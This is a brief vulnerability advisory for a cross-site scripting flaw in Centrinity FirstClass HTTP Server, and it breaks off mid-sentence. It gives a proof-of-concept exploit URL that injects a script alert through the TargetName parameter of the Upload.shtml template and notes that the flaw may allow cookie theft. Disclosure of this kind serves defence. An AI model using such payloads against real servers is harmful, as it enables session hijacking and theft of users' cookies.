Centrinity FirstClass HTTP Server Cross Site Scripting

Product: FirstClass HTTP Server Developer: Centrinity URL: http://www.centrinity.com Description: Injected code is rendered in the context of the vulnerable page. Exploit: http://TARGET/.Templates/Commands/Upload.shtml?TargetName=scriptalert'XSS'/script It may be possible to steal cookies from...